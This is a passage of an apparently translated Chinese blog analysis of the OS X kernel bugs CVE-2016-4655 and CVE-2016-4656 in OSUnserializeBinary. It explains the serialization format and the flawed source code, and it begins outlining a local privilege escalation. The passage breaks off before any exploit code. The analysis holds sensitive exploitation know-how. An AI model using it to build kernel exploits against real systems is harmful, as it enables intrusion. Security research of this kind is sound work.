<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> kOSSerializeBinarySignature <span class="meta-string">&quot;\323\0\0&quot;</span> <span class="comment">/* 0x000000d3 */</span></span></span><br><span class="line"><span class="keyword">enum</span> &#123;</span><br><span class="line">    kOSSerializeDictionary      = <span class="number">0x01000000</span>U,</span><br><span class="line">    kOSSerializeArray           = <span class="number">0x02000000</span>U,</span><br><span class="line">    kOSSerializeSet             = <span class="number">0x03000000</span>U,</span><br><span class="line">    kOSSerializeNumber          = <span class="number">0x04000000</span>U,</span><br><span class="line">    kOSSerializeSymbol          = <span class="number">0x08000000</span>U,</span><br><span class="line">    kOSSerializeString          = <span class="number">0x09000000</span>U,</span><br><span class="line">    kOSSerializeData            = <span class="number">0x0a000000</span>U,</span><br><span class="line">    kOSSerializeBoolean         = <span class="number">0x0b000000</span>U,</span><br><span class="line">    kOSSerializeObject          = <span class="number">0x0c000000</span>U,</span><br><span class="line">    kOSSerializeTypeMask        = <span class="number">0x7F000000</span>U,</span><br><span class="line">    kOSSerializeDataMask        = <span class="number">0x00FFFFFF</span>U,</span><br><span class="line">    kOSSerializeEndCollection   = <span class="number">0x80000000</span>U,</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure>

<p>正如你所看到的，第31位（红色部分）通常用来表明当前的集合（collection）是否结束，第32-&gt;24位（蓝色部分）用来存储实际的数据类型，第23-&gt;0位（绿色部分）用来存储实际的元素长度。</p>
<p><img src="/images/2016-12-16-%E8%AF%91-Analysis-and-exploitation-of-Pegasus-kernel-vulnerabilities-CVE-2016-4655-CVE-2016-4656/%E5%9B%BE1.png"></p>
<p>实际的例子可能更容易理解，如下：</p>
<figure class="highlight apache"><table><tr><td class="code"><pre><span class="line"><span class="attribute">0x000000d3</span> <span class="number">0</span>x<span class="number">81000000</span> <span class="number">0</span>x<span class="number">09000004</span> <span class="number">0</span>x<span class="number">00414141</span> <span class="number">0</span>x<span class="number">8</span>b<span class="number">000001</span></span><br></pre></td></tr></table></figure>

<p>以上数据对应的二进制格式为：</p>
<figure class="highlight"><table><tr><td class="code"><pre><span class="line">&lt;dict&gt;</span><br><span class="line">    &lt;string&gt;AAA&lt;/string&gt;</span><br><span class="line">    &lt;boolean&gt;1&lt;/boolean&gt;</span><br><span class="line">&lt;/dict&gt;</span><br></pre></td></tr></table></figure>

<p>你可以看到，我们给字典（dictionary）里的第一个集合的最后一个元素做了标记（0x81000000），布尔量（boolean）作为第二集合的最后一个元素（0x8b000001）。然后我们直接把字符数据（AAA）编码嵌入其中，包含了最后一个 <code>\0</code> 结束标识（0x00414141）。最后，对于布尔量，不需要再对数据进行编码了，因为它的大小（最后一位）就代表了这个量是为 TRUE 还是 FALSE。</p>
<p>还有一个重点是关于集合的概念，以及如何标记集合的结束。一个集合表示的是同一层次上的一组对象。举例来说，一个字典里的元素都属于同一个集合。当为 OSUnserializeBinary 制作二进制字典时，尤为重要的是，通过设置第一位（也就是 enum 中的 kOSSerializeEndCollection 标志）来标记集合的结束。下面是一个 XML 的例子，能够更好的阐明这个概念：</p>
<figure class="highlight"><table><tr><td class="code"><pre><span class="line">&lt;dict&gt;                          &lt;!-- dict, level <span class="number">0</span> | END! --&gt;</span><br><span class="line">    &lt;string&gt;AAA&lt;/string&gt;        &lt;!-- string, level 1 --&gt;</span><br><span class="line">    &lt;boolean&gt;1&lt;/boolean&gt;        &lt;!-- bool, level 1 --&gt;</span><br><span class="line"></span><br><span class="line">    &lt;string&gt;BBB&lt;/string&gt;        &lt;!-- string, level 1 --&gt;</span><br><span class="line">    &lt;boolean&gt;1&lt;/boolean&gt;        &lt;!-- bool, level 1 --&gt;</span><br><span class="line"></span><br><span class="line">    &lt;dict&gt;                      &lt;!-- dict, level <span class="number">1</span> --&gt;</span><br><span class="line">        &lt;string&gt;CCC&lt;/string&gt;    </span><br><span class="line">        &lt;boolean&gt;1&lt;/boolean&gt;    &lt;!-- bool, level 2 | END! --&gt;</span><br><span class="line">    &lt;/dict&gt;</span><br><span class="line"></span><br><span class="line">    &lt;string&gt;DDD&lt;/string&gt;        &lt;!-- string, level 1 --&gt;</span><br><span class="line">    &lt;boolean&gt;1&lt;/boolean&gt;        &lt;!-- bool, level 1 | END! --&gt;</span><br><span class="line">&lt;/dict&gt;</span><br></pre></td></tr></table></figure>

<p>你可以在这个例子中看见很多层次或者集合。你也可以看见我是如何对每个层次/集合的最后一个元素做结束标记的。如果你忘记这样做了，OSUnserializeBinary 将会退出然后返回一个有关于错误的 error 参数，所以请一定要记住！另外还要注意，在最外层的字典中，我对最后一个元素，其实也就是 level 0 中的唯一一个元素做了结束标记。</p>
<p>希望现在你能较好的理解二进制格式了！我们将要开始准备分析 OSUnserializeBinary 的代码了。</p>
<h3 id="OSUnserializeBinary-分析"><a href="#OSUnserializeBinary-分析" class="headerlink" title="OSUnserializeBinary 分析"></a>OSUnserializeBinary 分析</h3><p>OSUnserializeBinary 只在 OSUnserializeXML 中调用。如果函数在输入数据的最开始发现了唯一的二进制标识（0x000000d3），那么它就知道这部分数据是二进制格式的，而不是 XML，然后就会把这些数据传递给 OSUnserializeBinary。</p>
<p><code>libkern/c++/OSUnserializeXML.cpp</code></p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="function">OSObject* <span class="title">OSUnserializeXML</span><span class="params">(<span class="keyword">const</span> <span class="keyword">char</span> *buffer, <span class="keyword">size_t</span> bufferSize, OSString **errorString)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">if</span> (!buffer)</span><br><span class="line">        <span class="keyword">return</span> (<span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> (bufferSize &lt; <span class="keyword">sizeof</span>(kOSSerializeBinarySignature))</span><br><span class="line">        <span class="keyword">return</span> (<span class="number">0</span>);</span><br><span class="line">    <span class="keyword">if</span> (!<span class="built_in">strcmp</span>(kOSSerializeBinarySignature, buffer))</span><br><span class="line">        <span class="keyword">return</span> OSUnserializeBinary(buffer, bufferSize, errorString);</span><br><span class="line">    <span class="comment">// XML must be null terminated</span></span><br><span class="line">    <span class="keyword">if</span> (buffer[bufferSize - <span class="number">1</span>]) <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">return</span> OSUnserializeXML(buffer, errorString);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>OSUnserializeBinary 的实际代码，最新的可被攻击的 OS X 版本在<a href="https://github.com/jndok/xnu/blob/aea2bdfb13661311a23bc0659dd5104d48a10081/libkern/c%2B%2B/OSSerializeBinary.cpp#L258-L476">这里</a>。</p>
<p>简单地说，代码所做的就是一直迭代包含了二进制数据的缓冲区，一次解析一个 uint32_t。在解析过程中，它将会创建一个 <code>OSObject*</code> 返回给调用者。这个返回对象是一个容器（container）对象，意味着这种对象可以包含其他的对象。也就是说，无论是一个字典，一个数组或者一个散列集合，一旦在这种格式下实现，它们就是唯一的容器对象。</p>
<p>这意味着，在 level 0（也被叫做第一个集合）上，只能有一个对象，而这个对象必须是一个容器。换句话说，所有的你构造的二进制数据必须包含一个字典，或是数组，或是散列集合。在 level 0 上，第一个有效的容器之前或之后出现的任何对象都将被忽略。</p>
<p>基于以上的概念，现在开始浏览代码吧。</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">...</span><br><span class="line">    <span class="keyword">while</span> (ok)</span><br><span class="line">    &#123;</span><br><span class="line">        bufferPos += <span class="keyword">sizeof</span>(*next);</span><br><span class="line">        <span class="keyword">if</span> (!(ok = (bufferPos &lt;= bufferSize))) <span class="keyword">break</span>;</span><br><span class="line">        key = *next++;</span><br><span class="line">        len = (key &amp; kOSSerializeDataMask);</span><br><span class="line">        wordLen = (len + <span class="number">3</span>) &gt;&gt; <span class="number">2</span>;</span><br><span class="line">        end = (<span class="number">0</span> != (kOSSerializeEndCollecton &amp; key));</span><br><span class="line">        newCollect = isRef = <span class="literal">false</span>;</span><br><span class="line">        o = <span class="number">0</span>; newDict = <span class="number">0</span>; newArray = <span class="number">0</span>; newSet = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">switch</span> (kOSSerializeTypeMask &amp; key)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">case</span> kOSSerializeDictionary:</span><br><span class="line">            ...</span><br><span class="line">            <span class="keyword">case</span> kOSSerializeArray:</span><br><span class="line">            ...</span><br><span class="line">            <span class="keyword">case</span> kOSSerializeSet:</span><br><span class="line">            ...</span><br><span class="line">            <span class="keyword">case</span> kOSSerializeObject:</span><br><span class="line">            ...</span><br><span class="line">            <span class="keyword">case</span> kOSSerializeNumber:</span><br><span class="line">            ...</span><br><span class="line">            <span class="keyword">case</span> kOSSerializeSymbol:</span><br><span class="line">            ...</span><br><span class="line">            <span class="keyword">case</span> kOSSerializeString:</span><br><span class="line">            ...</span><br><span class="line">            <span class="keyword">case</span> kOSSerializeData:</span><br><span class="line">            ...</span><br><span class="line">            <span class="keyword">case</span> kOSSerializeBoolean:</span><br><span class="line">            ...</span><br><span class="line">            <span class="keyword">default</span>:</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        ...</span><br></pre></td></tr></table></figure>



<p>在一些初始化和基本的正常检测之后，这个函数开始了它的主要的 <code>while (ok)</code> 循环。这是一个反序列化操作循环，将会迭代二进制数据，一个整数接一个整数，并且反序列化这些数据对象。</p>
<p>在这个片段的最开始，是循环增量的代码部分，同时也读取了当前的整数，并赋值给 key。当前数据的长度随后被算出，并保存在 len 中。最后，如果 kOSSerializeEndCollecton 标识在当前 key 中被设置了，则设置布尔变量 end。</p>
<p>然后，key 中的数据类型将会被 switch，每一个 case 都会适当的分配一个与它的数据类型格式相对应的对象。比如，kOSSerializeDictionary case：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">case</span> kOSSerializeDictionary:</div><div class="line">    o = newDict = OSDictionary::withCapacity(len);</div><div class="line">    newCollect = (len != <span class="number">0</span>);</div><div class="line">    <span class="keyword">break</span>;</div></pre></td></tr></tbody></table>

<p>o 是一个 OSObject 指针，指向当前循环中的正在反序列化的对象，会在每个 case 中被赋值。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">case</span> kOSSerializeData:</div><div class="line">    bufferPos += (wordLen * <span class="keyword">sizeof</span>(<span class="keyword">uint32_t</span>));</div><div class="line">    <span class="keyword">if</span> (bufferPos &gt; bufferSize) <span class="keyword">break</span>;</div><div class="line">    o = OSData::withBytes(next, len);</div><div class="line">    next += wordLen;</div><div class="line">    <span class="keyword">break</span>;</div></pre></td></tr></tbody></table>

<p>因为在数据流中，OSData 对象代表了嵌入的数据，bufferPos 会适当地增加，以跳过内联数据部分，避免把它们当作二进制格式输入。使用同样的内联数据，也会创建一个 OSData 对象，然后 o 被设置为新的实例。最后，next 也会增加，同样是为了跳过内联数据。</p>
<p>通过阅读 switch 语句，你应该能够较容易的明白每一个 case，因为这些代码都非常相像。</p>
<p>所以，现在让我们跳过 switch 语句。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">if</span> (!(ok = (o != <span class="number">0</span>))) <span class="keyword">break</span>;</div></pre></td></tr></tbody></table>

<p>如果 o 仍为 NULL，比如，在这个循环中没有有效的对象被反序列化，则退出。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">if</span> (!isRef)</div><div class="line">{</div><div class="line">    setAtIndex(objs, objsIdx, o);</div><div class="line">    <span class="keyword">if</span> (!ok) <span class="keyword">break</span>;</div><div class="line">    objsIdx++;</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>这也是这个代码的非常重要的部分，因为我们的其中一个漏洞就跟它有关。我们将会在之后介绍这个漏洞，所以请仔细的看接下来的部分。</p>
<p>基本上，这段代码说的是，如果反序列化的对象不是一个引用（比如，一个指向我们的数据格式中其他对象的指针，你可以通过 kOSSerializeObject 来创建），则把这个对象保存到 <code>objsArray</code> 数组中，这是一个由 OSUnserializeBinary 创建的数组，用来保持对每个反序列化对象的追踪，除了我们提到过的引用。</p>
<p>让我们一起来看看 setAtIndex 宏定义吧：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> setAtIndex(v, idx, o)                                                           \</span></span><br><span class="line">    <span class="keyword">if</span> (idx &gt;= v##Capacity)	                                                        \</span><br><span class="line">    &#123;                                                                                   \</span><br><span class="line">        <span class="keyword">uint32_t</span> ncap = v##Capacity + <span class="number">64</span>;                                               \</span><br><span class="line">        typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * <span class="keyword">sizeof</span>(o));  \</span><br><span class="line">        <span class="keyword">if</span> (!nbuf) ok = <span class="literal">false</span>;                                                          \</span><br><span class="line">        <span class="keyword">if</span> (v##Array)                                                                   \</span><br><span class="line">        &#123;                                                                               \</span><br><span class="line">            bcopy(v##Array, nbuf, v##Capacity * <span class="keyword">sizeof</span>(o));                             \</span><br><span class="line">            kfree(v##Array, v##Capacity * <span class="keyword">sizeof</span>(o));                                   \</span><br><span class="line">        &#125;                                                                               \</span><br><span class="line">        v##Array    = nbuf;                                                             \</span><br><span class="line">        v##Capacity = ncap;                                                             \</span><br><span class="line">    &#125;                                                                                   \</span><br><span class="line">    <span class="keyword">if</span> (ok) v##Array[idx] = o;</span><br></pre></td></tr></table></figure>

<p>如果我们将要存储的数据的索引比现在的数组大小还要大的话，数组将会增加。否则，将会进行简单的解引用和存储操作。现在让我们回到主循环代码吧。</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">if</span> (dict)</div><div class="line">{</div><div class="line">        <span class="keyword">if</span> (sym)</div><div class="line">        {</div><div class="line">            <span class="keyword">if</span> (o != dict) ok = dict-&gt;setObject(sym, o, <span class="literal">true</span>);</div><div class="line">            o-&gt;release();</div><div class="line">            sym-&gt;release();</div><div class="line">            sym = <span class="number">0</span>;</div><div class="line">        }</div><div class="line">        <span class="keyword">else</span></div><div class="line">        {</div><div class="line">            sym = OSDynamicCast(OSSymbol, o);</div><div class="line">            <span class="keyword">if</span> (!sym &amp;&amp; (str = OSDynamicCast(OSString, o)))</div><div class="line">            {</div><div class="line">                sym = (OSSymbol *) OSSymbol::withString(str);</div><div class="line">                o-&gt;release();</div><div class="line">                o = <span class="number">0</span>;</div><div class="line">            }</div><div class="line">            ok = (sym != <span class="number">0</span>);</div><div class="line">        }</div><div class="line">    }</div><div class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">array</span>)</div><div class="line">    {</div><div class="line">        ok = <span class="built_in">array</span>-&gt;setObject(o);</div><div class="line">        o-&gt;release();</div><div class="line">    }</div><div class="line">    <span class="keyword">else</span> <span class="keyword">if</span> (<span class="built_in">set</span>)</div><div class="line">    {</div><div class="line">        ok = <span class="built_in">set</span>-&gt;setObject(o);</div><div class="line">       o-&gt;release();</div><div class="line">   }</div><div class="line">    <span class="keyword">else</span></div><div class="line">    {</div><div class="line">        assert(!parent);</div><div class="line">        result = o;</div><div class="line">    }</div></pre></td></tr></tbody></table>

<p>if-else 语句负责存储每个反序列化对象到我们之前所提到过的容器中。注意这里的三个变量（<code>dict</code>, <code>array</code>, 以及 <code>set</code>）将会在第一个循环中被置 NULL，并且会一直保持，直到在数据流中找到一个字典，数组或者散列集合。</p>
<p>这意味着 <code>result</code> 指针（返回的对象）将会在数据中一直向前移动，直到找到合适的容器对象。所以，在 level 0 上，位于适当的容器对象之前或者之后的对象，都会被忽略。</p>
<p>现在把重点放在 <code>if (dict)</code> 分支上，因为它对于我们的 UAF 漏洞来说也很重要。正如你可能知道的，一个字典包含着交替的对象，一个代表着 key，另外一个代表着 value。 key，作为 OSUnserializeBinary 格式的特例，只能是 OSString 或者 OSSymbol 类型。正如你在上面的代码片段中看到的那样，如果是 OSString ，那么它将会被自动转换为 OSSymbol。</p>
<p>现在，这段代码就是保持着在 keys 和 values 之间交替。sym 将会在第一次循环中被置 NULL，所以 else 分支将会被调用。它假设字典的第一个值是 key，所以判断是 OSSymbol 或者 OSString，然后都转换到 OSSymbol 中。在下一次迭代时，我们将会处理这个 key 所对应的 value 值。因为 sym 现在已经被赋值了，if (sym) 分支将会被调用，<code>dict-&gt;setObject(sym, o, true)</code> 将会在字典中设置正确的键/值对。<br><code>sym</code> 将会被再次置 NULL，因为在下一次迭代中，我们假设遇到的是 key，然后是 value，然后循环。</p>
<p>我们快要完成 OSUnserializeBinary 了，下面继续：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">if</span> (newCollect)</div><div class="line">{</div><div class="line">    <span class="keyword">if</span> (!end)</div><div class="line">    {</div><div class="line">        stackIdx++;</div><div class="line">        setAtIndex(<span class="built_in">stack</span>, stackIdx, parent);</div><div class="line">        <span class="keyword">if</span> (!ok) <span class="keyword">break</span>;</div><div class="line">    }</div><div class="line"></div><div class="line">    parent = o;</div><div class="line">    dict   = newDict;</div><div class="line">    <span class="built_in">array</span>  = newArray;</div><div class="line">    <span class="built_in">set</span>    = newSet;</div><div class="line">    end    = <span class="literal">false</span>;</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>布尔变量 <code>newCollect</code> 仅仅在找到容器对象时被设置（查看一下 switch 中的 kOSSerializeDictionary, kOSSerializeArray 以及kOSSerializeSet cases）。如果这个容器对象的 end 没有被设置，就意味着在这一层，在这个容器之后，还有其他的对象。这种情况下，解析将会“缩进”，意味着我们开始了一个新的层次。</p>
<p>如果在新容器中，我们到达了最后一个对象，那么我们就要返回，然后继续反序列化之前容器中的下一个对象了（如果 kOSSerializeEndCollection 没有被设置，那么就表示在新容器之后，还有其他的对象）。</p>
<p>为了处理多个层次的缩进，每次遇到一个新的容器，而且容器之后还有对象，那么这个算法将会把父容器存入 stackArray 中，然后再开始反序列化新容器中的对象。当新容器结束的时候，父容器将会从 stackArray 中取出，然后继续反序列化之后的对象。</p>
<p>你可以看见父指针（指向包含当前对象的容器对象）会被存入 stackArray 数组中，在我们找到对象中的另一个 kOSSerializeEndCollecton 标志之前，新的对象都会被存在新的容器中。指示被存入哪个容器的三个通用变量（dict, array, and set）也会被设置为新容器。当找到 kOSSerializeEndCollecton 标志时，必要的话，算法将会对 level 递减：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">if</span> (end)</div><div class="line">{</div><div class="line">    <span class="keyword">if</span> (!stackIdx) <span class="keyword">break</span>;           <span class="comment">/* j: when there are no more levels, deserialization is done; exit */</span></div><div class="line">    parent = stackArray[stackIdx];  <span class="comment">/* j: pop parent off the stackArray */</span></div><div class="line"></div><div class="line">    stackIdx--;</div><div class="line">    <span class="built_in">set</span>   = <span class="number">0</span>;</div><div class="line">    dict  = <span class="number">0</span>;</div><div class="line">    <span class="built_in">array</span> = <span class="number">0</span>;</div><div class="line"></div><div class="line">    <span class="comment">/* j: cast parent to proper container and resume deserialization */</span></div><div class="line">    <span class="keyword">if</span> (!(dict = OSDynamicCast(OSDictionary, parent)))</div><div class="line">    {</div><div class="line">        <span class="comment">/* j: if parent can't be properly cast to a container, abort */</span></div><div class="line">        <span class="keyword">if</span> (!(<span class="built_in">array</span> = OSDynamicCast(OSArray, parent)))</div><div class="line">            ok = (<span class="number">0</span> != (<span class="built_in">set</span> = OSDynamicCast(OSSet, parent)));</div><div class="line">    }</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>之前的容器将会从 stackArray 中取回，然后重新给 parent 赋值。之后三个通用变量互斥地重新转变为父类，所以对象又将会被存入之前的容器中。</p>
<p>如果新容器是父容器的最后一个元素，那么缩进就没有必要了，因为在新容器之后没有属于父容器的对象，所以我们只需要将所有的元素都存入新容器中，然后同时退出新容器和父容器即可。以下是一些 XML 例子：</p>
<figure class="highlight c"><table><tr><td class="code"><pre><span class="line">&lt;dict&gt;</span><br><span class="line">    &lt;<span class="built_in">string</span>&gt;str_1&lt;\<span class="built_in">string</span>&gt;</span><br><span class="line">    &lt;boolean&gt;1&lt;/boolean&gt;</span><br><span class="line"></span><br><span class="line">    &lt;string&gt;str_2&lt;/string&gt;</span><br><span class="line">    &lt;boolean&gt;1&lt;/boolean&gt;</span><br><span class="line"></span><br><span class="line">    &lt;dict&gt;                      &lt;!-- <span class="keyword">new</span> level (<span class="number">1</span>) --&gt;</span><br><span class="line">        &lt;<span class="built_in">string</span>&gt;str_3&lt;/<span class="built_in">string</span>&gt;</span><br><span class="line">        &lt;boolean&gt;<span class="number">1</span>&lt;/boolean&gt;</span><br><span class="line"></span><br><span class="line">        &lt;<span class="built_in">string</span>&gt;str_4&lt;/<span class="built_in">string</span>&gt;</span><br><span class="line">        &lt;boolean&gt;<span class="number">1</span>&lt;/boolean&gt;</span><br><span class="line"></span><br><span class="line">        &lt;<span class="built_in">string</span>&gt;str_5&lt;/<span class="built_in">string</span>&gt;</span><br><span class="line">        &lt;boolean&gt;<span class="number">1</span>&lt;/boolean&gt;    &lt;!-- END LEVEL <span class="number">1</span>! --&gt;</span><br><span class="line">    &lt;dict&gt;                      &lt;!-- there are objects after <span class="keyword">this</span> <span class="keyword">new</span> container --&gt;</span><br><span class="line">                                &lt;!-- we have to go back a level <span class="keyword">and</span> push str_6 inside the outer dict --&gt;</span><br><span class="line">    &lt;<span class="built_in">string</span>&gt;str_6&lt;/<span class="built_in">string</span>&gt;</span><br><span class="line">   &lt;boolean&gt;<span class="number">1</span>&lt;/boolean&gt;        &lt;!-- END LEVEL <span class="number">0</span>! --&gt;</span><br><span class="line">&lt;/dict&gt;</span><br></pre></td></tr></table></figure>

<figure class="highlight"><table><tr><td class="code"><pre><span class="line">&lt;dict&gt;</span><br><span class="line">    &lt;string&gt;str_1&lt;/string&gt;</span><br><span class="line">    &lt;boolean&gt;1&lt;/boolean&gt;</span><br><span class="line"></span><br><span class="line">    &lt;string&gt;str_2&lt;/string&gt;</span><br><span class="line">    &lt;boolean&gt;1&lt;/boolean&gt;</span><br><span class="line"></span><br><span class="line">    &lt;dict&gt;                      &lt;!-- END LEVEL <span class="number">0</span>! --&gt; </span><br><span class="line">        &lt;string&gt;str_3&lt;/string&gt;</span><br><span class="line">        &lt;boolean&gt;1&lt;/boolean&gt;</span><br><span class="line"></span><br><span class="line">        &lt;string&gt;str_4&lt;/string&gt;</span><br><span class="line">        &lt;boolean&gt;1&lt;/boolean&gt;</span><br><span class="line"></span><br><span class="line">        &lt;string&gt;str_5&lt;/string&gt;</span><br><span class="line">        &lt;boolean&gt;1&lt;/boolean&gt;    &lt;!-- END LEVEL 1! --&gt;</span><br><span class="line">    &lt;dict&gt;                      &lt;!-- there is nothing after <span class="keyword">this</span> dict, <span class="keyword">do</span> <span class="keyword">not</span> indent <span class="keyword">and</span> finally <span class="built_in">exit</span> --&gt;</span><br><span class="line">&lt;/dict&gt;</span><br></pre></td></tr></table></figure>

<p>我试图使事情更清楚，所以对已经比较直接的代码做了很多解释。解释代码永远不会比阅读代码更好，所以我建议你尝试通过阅读 OSUnserializeBinary 代码来消除自己的疑惑。</p>
<p>现在（终于！）是时候来看看这些漏洞，找到真正的乐趣了！</p>
<h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>在这篇博文中，我们要讨论的两个漏洞分别为 CVE-2016-4655 和 CVE-2016-4656。前面一个是 <strong>info-leak</strong> 漏洞，后面一个是 <strong>use-after-free</strong> 漏洞。我们先从 info-leak 开始，然后转向 use-after-free。</p>
<p>开始之前：我将尽量使事情直接明了，并在接下来的部分尽可能的讲解，同时我也发布了一些外部引用链接（可在文章末尾找到），以供你阅读，加深你的理解！</p>
<h3 id="CVE-2016-4655-––-内核信息泄漏"><a href="#CVE-2016-4655-––-内核信息泄漏" class="headerlink" title="CVE-2016-4655 –– 内核信息泄漏"></a>CVE-2016-4655 –– 内核信息泄漏</h3><p>好的，首先：什么是信息泄漏（info-leak）<a href="#reference">[1]</a>？这是一个安全漏洞，使得攻击者可以访问到不应被访问的信息。很多情况下，这些信息就是内核地址。它们在帮助我们计算 KASLR slide<a href="#reference">[2]</a> 时是十分有用的，KASLR slide 是指内核每次启动时都会偏移的一个随机量。我们需要这个 slide 来进行代码重用攻击<a href="#reference">[3]</a>，比如 ROP<a href="#reference">[4]</a>。</p>
<p>现在让我们一起来看一看在 OSUnserializeBinary 的 switch 语句中的 kOSSerializeNumber case吧：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">case</span> kOSSerializeNumber:</div><div class="line">    bufferPos += <span class="keyword">sizeof</span>(<span class="keyword">long</span> <span class="keyword">long</span>);</div><div class="line">    <span class="keyword">if</span> (bufferPos &gt; bufferSize) <span class="keyword">break</span>;</div><div class="line">    value = next[<span class="number">1</span>];</div><div class="line">    value &lt;&lt;= <span class="number">32</span>;</div><div class="line">    value |= next[<span class="number">0</span>];</div><div class="line">    o = OSNumber::withNumber(value, len);</div><div class="line">    next += <span class="number">2</span>;</div><div class="line">    <span class="keyword">break</span>;</div></pre></td></tr></tbody></table>

<p>这里有什么不对的地方呢？它没有对 OSNumber 的长度做检查！我们可以创建一个任意长度的 number。通过在内核中注册一个用户客户端<a href="#reference">[5]</a>对象，在其属性中包含一个畸形的OSNumber，然后读取该属性，使得内核读取超过 OSNumber 边界的字节，这个小疏忽很容易就变成了信息泄漏。因为一个 OSNumber 对象的最大为64位（检查数据是如何获得读入变量值），我们本不应该超过这个界限。我们将在之后讲解如何利用这一点。</p>
<h3 id="CVE-2016-4656-––-内核-UAF"><a href="#CVE-2016-4656-––-内核-UAF" class="headerlink" title="CVE-2016-4656 –– 内核 UAF"></a>CVE-2016-4656 –– 内核 UAF</h3><p>同样我们再一次提问：什么是 use-after-free<a href="#reference">[6]</a>？这是一种当已被释放的内存仍然在被某个地方引用，然后使用它的情况。想象一下，一个对象已经被释放了，它最初的数据也已经被销毁了，但是程序里仍然有某个地方认为这个对象还存在着。这是造成多么糟糕的行为啊。</p>
<p>我们显然可以利用它，通过使我们的数据，在该对象被使用之前，重新占据已被释放的内存<a href="#reference">[7]</a>。我们将会在之后讲解它的利用程序。</p>
<p>这个漏洞实际上是由于 OSSymbol 中负责反序列化 OSString 类型的字典键值代码造成的。</p>
<table><tbody><tr><td class="code"><pre><div class="line">...</div><div class="line"><span class="keyword">else</span></div><div class="line">{</div><div class="line">    sym = OSDynamicCast(OSSymbol, o);</div><div class="line">    <span class="keyword">if</span> (!sym &amp;&amp; (str = OSDynamicCast(OSString, o))) {</div><div class="line">        sym = (OSSymbol *) OSSymbol::withString(str);</div><div class="line">        o-&gt;release();</div><div class="line">        o = <span class="number">0</span>;</div><div class="line">    }</div><div class="line">    ok = (sym != <span class="number">0</span>);</div><div class="line">}</div></pre></td></tr></tbody></table>

<p>这段代码很好，注意到 <code>o-&gt;release()</code> 了吗？这里释放了 o 指针，在特定的循环中，这个指针指向的是 OSString 反序列化对象。出现什么问题了呢？你还记得之前的 objsArray 数组吗？就是那个存储所有反序列化对象的？这段释放代码实际上发生在 setAtIndex 宏被调用之后。这意味着已经被释放了的 OSString ，实际上还在被 objsArray 引用，因为 setAtIndex 宏并没有实现任何关于引用计数的机制，所以这个引用存储在数组中不会被移除。</p>
<p>在一般情况下，这是没有什么问题的，比如，不在 objsArray 中创建对其他对象的引用，但是让我们来看一看 switch 语句中的 kOSSerializeObject case：</p>
<table><tbody><tr><td class="code"><pre><div class="line"><span class="keyword">case</span> kOSSerializeObject:</div><div class="line">    <span class="keyword">if</span> (len &gt;= objsIdx) <span class="keyword">break</span>;</div><div class="line">    o = objsArray[len];</div><div class="line">    o-&gt;retain();</div><div class="line">    isRef = <span class="literal">true</span>;</div><div class="line">    <span class="keyword">break</span>;</div></pre></td></tr></tbody></table>

<p>正如我们前面所指出的那样，这段代码是用来创建对其他对象的引用。正是我们所需要的！这里也有一个非常棒的函数 <code>retain</code>，可以用来使用已被释放的对象。完美的 use-after-free！</p>
<p>我们可以序列化一个字典，包含一个 OSString key，对应一些值，然后序列化一个 kOSSerializeObject 来引用这个 OSString，这个 OSString 将会在我们读取它的时候被释放，随后对已被释放的对象调用 retain。</p>
<h2 id="利用程序"><a href="#利用程序" class="headerlink" title="利用程序"></a>利用程序</h2><p>在这最后一部分，我们将研究利用这个两个内核错误在 OS X 10.11.6上实现完整的 LPE。请注意：有许多的概念引用不在本博文讲解的范围内，我会发布一些外部链接来越过它们。</p>
<h3 id="Exploiting-CVE-2016-4655"><a href="#Exploiting-CVE-2016-4655" class="headerlink" title="Exploiting CVE-2016-4655"></a>Exploiting CVE-2016-4655</h3><p>我们将从 info-leak 开始，正如我们之前所说的，info-leak 对于越过 KASLR 是非常有用的，通过获得内核偏移来进行。在打破 KASLR 之后，我们将准备发起一次完整的攻击，利用另一个漏洞，来获得代码执行权，使用 KASLR 偏移，使得正确执行我们的 ROP 成为可能，然后攻破系统。</p>
<p>我们可以在内核中创建一个用户客户端对象，并为它设置属性。这些属性只是一串通过字典来设置的键/值对。幸运的是，我们可以使用二进制格式来设置属性（因为我们可以直接调用 OSUnserializeXML 函数，这个函数会调用二进制数据情况下的 OSUnserializeBinary 函数），而不是传统的 XML 格式的数据。这让我们可以创建一个字典，包含畸形的 OSNumber，字典被用来设置为客户端对象的属性。</p>
<p>我们通过 IOServiceOpen 函数来连接内核服务，从而隐式地创建用户端。但是，我们将要使用的是一个私有函数，io_service_open_extended，这个函数是 IOServiceOpen 内部调用的。这个私有函数，以及一些我们将要用到的函数，都被定义在 <code>IOKit/iokitmig.h</code> 头文件中。注意，你的文件必须编译成32位的 Mach-O，否则不能调用这个函数（我猜测是遗留问题？）。</p>
<p>以下是 info-leak 利用计划回顾：</p>
<ul>
<li>制作一个包含超长OSNumber的序列化二进制字典。</li>
